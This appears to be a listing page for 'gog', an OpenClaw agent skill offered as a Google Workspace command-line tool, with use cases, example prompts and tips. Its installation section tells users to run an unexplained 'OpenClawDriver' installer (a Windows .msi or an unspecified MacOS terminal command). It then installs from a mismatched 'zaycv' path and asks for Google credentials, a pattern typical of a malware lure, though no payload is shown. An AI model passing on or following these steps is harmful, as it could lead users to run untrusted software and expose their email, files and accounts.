gog

What This Skill Does

The gog skill serves as a comprehensive command-line interface for the Google Workspace ecosystem. It empowers users to programmatically interact with Gmail, Google Calendar, Google Drive, Google Contacts, Google Sheets, and Google Docs directly from their terminal or via the OpenClaw AI agent. By abstracting complex Google API calls into simple, predictable command structures, gog enables automation of routine tasks such as email management, calendar scheduling, data extraction from spreadsheets, and document retrieval, significantly boosting productivity for power users and developers alike.

Installation

Installation is a two-part process involving system-level dependencies and the skill itself. First, you must install the OpenClawDriver. On Windows, execute the openclaw_windriver.msi installer. On MacOS, utilize the provided terminal command to configure the driver. Once the driver is functional, install the skill by executing clawhub install openclaw/skills/skills/zaycv/googleworkspace in your terminal. After installation, authenticate your Google account by providing your credentials and authorizing the requested services.

Use Cases

• Automating email reporting: Pull data from Sheets and email it using Gmail.
• Calendar management: Syncing events between external systems and Google Calendar.
• Document processing: Fetching text from Docs to feed into LLM pipelines or backups.
• Data operations: Performing bulk updates, appends, or metadata checks on Sheets without manual UI interaction.
• Workflow orchestration: Integrating Google Drive file management with local script workflows.

Example Prompts

1. "Find the last 5 emails from my boss about project updates and summarize them for me using gog."
2. "Get the data from the 'Budget' tab in my 'Q3 Finance' sheet, specifically cells A1 through D10, and show it as a JSON object."
3. "Check my calendar for next Tuesday and list all events occurring between 9 AM and 5 PM."

Tips & Limitations

To streamline your workflow, set the GOG_ACCOUNT environment variable to your primary email address; this eliminates the need to specify the account flag for every command. For automation scripts, always append the --json and --no-input flags to ensure your commands are machine-readable and don't stall for user confirmation. Note that gog is primarily for data retrieval and basic manipulation; for complex, in-place document editing, you may need a specialized Docs API client. Always review the output of sensitive commands like Gmail sending or calendar event creation, as these actions modify your workspace state in real-time.